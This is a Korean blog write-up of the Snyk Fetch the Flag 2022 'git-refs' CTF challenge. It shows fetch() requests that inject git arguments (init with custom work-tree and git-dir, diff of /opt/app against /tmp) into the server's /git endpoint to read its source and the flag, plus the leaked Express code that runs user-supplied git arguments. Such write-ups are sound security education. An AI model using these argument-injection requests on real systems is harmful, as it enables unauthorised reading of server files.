티스토리 뷰
Enumeration
(풀이의 결론만 궁금한 사람은 Enumeration 부분은 건너 뛰세요)
우선 문제는 별도의 소스코드는 제공되지 않았고, 문제 URL만 제공되었습니다.
Go! 버튼을 누르면 아래와 같이 git 로그가 쭉 나오는 것을 볼 수 있습니다.
script 태그에 정의된 javascript 내용을 보면 아래와 같았습니다.
document.querySelector('#req-form').addEventListener('submit', (e) => {
e.preventDefault();
const url = document.querySelector('#req-url').value;
fetch('/git', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(['ls-remote', url])
})
.then((res) => {
if (!res.ok) return Promise.reject('error!');
return res.text();
})
.then((data) => {
const body = document.querySelector('#results-body');
body.innerHTML = '';
data.split('\n').forEach((line) => {
const [hash, name] = line.split('\t');
body.innerHTML += `<tr><td>${name}</td><td>${hash}</td></tr>`;
});
})
.catch((e) => {
alert(e);
});
});
/git 경로로 POST 요청을 보내고 있었으며, json 포맷으로 배열을 보내고 있었습니다.
문제의 페이지에서 Go! 버튼을 눌렀을 때 요청되고 반환되는 결과는 아래 코드로 실행했을 때와 동일합니다.
fetch("http://git-refs.c.ctf-snyk.io/git", {
"headers": {
"content-type": "application/json"
},
"body": "[\"ls-remote\",\"https://github.com/snyk/nuget-semver\"]",
"method": "POST"
}).then((r)=>r.text()).then(console.log)
딱 보면 Command Injection 문제와 같아 처음에는 명령어가 끝나는 뒷 부분에 주석이나 명령어 구분자를 넣어보고 해봤는데, 잘되지 않았습니다.
뒤에 ;ls# 가 잘 들어간 것은 확인할 수 있었는데, git 명령어의 일부분으로 인식되는 것이 shell 로 실행되는 것은 아니라는 것으로 짐작이 되었습니다.
때문에 git 명령어로만 제한두어서 생각해봤습니다. 우선 git 을 잘 모르기 때문에 도움말을 살펴보았습니다.
각각의 옵션의 설명을 git 문서와 함께 살펴보았습니다.
버전은 git version 2.30.2 이었습니다. 우선 관련 원데이 취약점(CVE)를 찾아봤었고, 임의의 파일을 작성해야 실행되는 것들은 환경이 여의치 않아 시도해볼 수 없었던 것 같습니다.
https://www.cvedetails.com/vulnerability-list/vendor_id-15815/product_id-33590/Git-scm-GIT.html
그렇게 수차례 시도 끝에 결론에 도달하는 방법을 찾을 수 있었습니다. 제가 찾은 방법은 언인텐일 수도 있는게 실제 문제 작성자가 올려준 문제풀이 내용과도 다릅니다.
Exploit
fetch('/git', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(['rev-parse','--show-toplevel'])
}).then((r)=>r.text()).then(console.log)
서버에서 설정한 현재 worktree 의 경우 아래처럼 계속 /tmp/ 하위 디렉터리명이 변경되는 것을 알 수 있습니다.
현재 경로에서 어쩌피 git add * 해봤자 계속 staged files 는 없는 상태가 될 것이라 의미가 없습니다. 때문에 변경되지 않는 경로에 .git 디렉터리를 생성해서 git directory 로 설정해주어야 합니다.
익명의 사용자가 접근 권한이 있고 변경되지 않는 경로는 /tmp 라는 경로가 존재합니다. 때문에 이 경로에 임의의 github repository를 만들어주면, 실제 서버가 존재하는 경로와 git diff 명령어로 비교해주면 파일의 내용을 볼 수 있게 됩니다.
우선 아래 명령어를 실행해서 임의 repository를 /tmp/domdom 경로에 생성해줍니다.
fetch('/git', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(['--work-tree=/tmp/domdom', '--git-dir=/tmp/domdom', 'init'])
}).then((r)=>r.text()).then(console.log)
그런 다음에 바로 diff 명령어를 수행하는 코드를 실행해줍니다.
fetch('/git', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(["diff","/opt/app","/tmp/domdom"])
}).then((r)=>r.text()).then(console.log)
다만 문제는 예상하건데 서버 앱이 Express 라서 node js 로 작성되어 있기 때문에 node_modules/ 디렉터리에 있는 모든 모듈의 파일까지 다 가져와질 것을 예상해서 console.log 된 결과를 보기보다 바로 웹페이지로 출력시켜서 확인해보는 것이 좋습니다.
헉.. Burpsuite 로도 다 출력할 수 없다고 하니, Copy to File 해서 가져와보겠습니다.
중요 파일만 좀 살펴보면 아래와 같습니다.
diff --git a/opt/app/index.mjs b/opt/app/index.mjs
deleted file mode 100644
index 5f2d64a..0000000
--- a/opt/app/index.mjs
+++ /dev/null
@@ -1,43 +0,0 @@
-import {readFileSync} from 'node:fs';
-import {execa} from 'execa';
-import express from 'express';
-import bodyParser from 'body-parser';
-import {withDir} from 'tmp-promise';
-
-const app = express();
-
-const VIEW_INDEX = readFileSync('./index.html', 'utf-8');
-
-app.use(bodyParser.json());
-
-app.get('/', (req, res) => {
- res.send(VIEW_INDEX);
-});
-
-app.post('/git', (req, res) => {
- if (!Array.isArray(req.body)) {
- res.status(422).send('');
- return;
- }
-
- const params = req.body.map((s) => String(s));
-
- withDir(async ({path}) => {
- await execa('git', ['init'], {
- cwd: path
- });
- const {stdout} = await execa('git', params, {
- timeout: 5000,
- cwd: path
- });
-
- res.send(stdout);
- }, {unsafeCleanup: true})
- .catch((error) => {
- res.status(500).send(`${error}: ${error.stderr}`);
- });
-});
-
-app.listen(8000, () => {
- console.log(`Listening on port 8000`);
-});
서버에서는 execa 라는 모듈을 이용해서 사용자로부터 params 를 받아서 git 명령을 실행시키고 있는 것을 알 수 있었습니다.
https://www.npmjs.com/package/execa
그리고 execa 에서는 내부적으로 shell 옵션이 별도로 주어지지 않으면 기본값으로 false 값을 가지어 shell 관련 문법 및 명령이 실행되지 않도록 하고 있다고 합니다.
// If the file or an argument contains spaces, they must be escaped with backslashes
// The shell option must be used if the command uses shell-specific features (for example, && or ||), as opposed to being a simple file followed by its arguments.
// (https://www.npmjs.com/package/execa#execacommandcommand-options)
spawned = childProcess.spawn(parsed.file, parsed.args, parsed.options);
Flag 파일은 어디있는지 검색 기능을 활용해서 snyk{ 를 검색해보았습니다.
라인 수가 엄청 길죠? node_modules 디렉터리까지 전부 다 비교하고 있어서 그렇습니다. 무튼 flag는 package.json 에 있었습니다.
이로써 git 명령어만을 가지구서 디렉터리 리스팅 및 파일 읽기를 해볼 수 있는 신박하고 재밌는 문제였습니다.
처음에는 command injection 인 줄 알고 시간을 엄청 썼지만, 정말 신기하게도 이런 저런 방법을 통해서 위와 같은 결과를 만들 수 있는 것 같더라구요!
+문제풀이 관련 추가 내용
뒤늦게 diff 명령어에 대해서 알아봤는데, diff 명령어가 굳이 존재하는 repository 랑 비교하지 않아도 되는 것 같았습니다. 때문에 그냥 init 이나 clone 하지 않더라도 그냥 바로 diff 명령어를 수행해서 비교할 수 있는 것 같습니다.
fetch('/git', {
method: 'POST',
headers: {
'Content-Type': 'application/json'
},
body: JSON.stringify(["diff","/opt/app","."])
}).then((r)=>r.text()).then(console.log)
공식 사이트에 올라온 풀이랑 좀 다르기 때문에 같이 참고해서 보면 좋을 것 같습니다.
https://snyk.io/blog/fetch-the-flag-ctf-2022-writeup-git-refs/
나중에 기회되면 제 풀이 방법을 위한 문제도 만들어 볼까 하네요!
- 끝 -
'보안 > CTF' 카테고리의 다른 글
[CTF] 도커(docker)로 CTF 문제 만들기 예시 (0) | 2023.08.10 |
---|---|
[SECCON] [misc] findflag Writeup(문제풀이) (0) | 2022.11.19 |
[Fetch the Flag CTF] roadrunner Writeup(문제풀이) (0) | 2022.11.11 |
[HackTheBoo] [Web] Cursed Secret Party Writeup(문제풀이) (0) | 2022.10.28 |
[HackTheBoo] [Web] Juggling Facts Writeup(문제풀이) (0) | 2022.10.28 |